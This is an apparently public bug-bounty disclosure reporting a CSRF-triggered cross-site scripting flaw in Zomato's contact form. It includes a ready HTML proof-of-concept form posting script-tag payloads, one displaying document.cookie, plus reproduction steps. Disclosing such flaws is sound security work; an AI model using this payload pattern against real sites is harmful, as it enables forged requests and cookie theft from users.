Eternal · Report #115248

XSS and CSRF in Zomato Contact form

Validstatus

1upvotes

24 May 2016disclosed

How it was found

URL affected:-- https://www.zomato.com/contact CSRF Payload:--

<html>  <body> <form action="https://www.zomato.com/contact" method="POST"> <input type="hidden" name="csrf_token" value="fa53b2d4ea3ae0113d903ed5b0200fcb" /> <input type="hidden" name="name" value="<script>alert(1)</script>" /> <input type="hidden" name="email" value="vibhuti123i"><script >alert(document.cookie)</script>" /> <input type="hidden" name="phone" value="" /> <input type="hidden" name="message" value="retrryrty" /> <input type="hidden" name="submit" value="Submit" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Step to Reproduce:---- 1)I have tested it after Login and without Login .This CSRF worked with executing XSS due to CSRF in Contact form.It is tested in Latest Firefox browser.

2)Just run the above payload and you will find below image XSS executed poping Up cookies.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original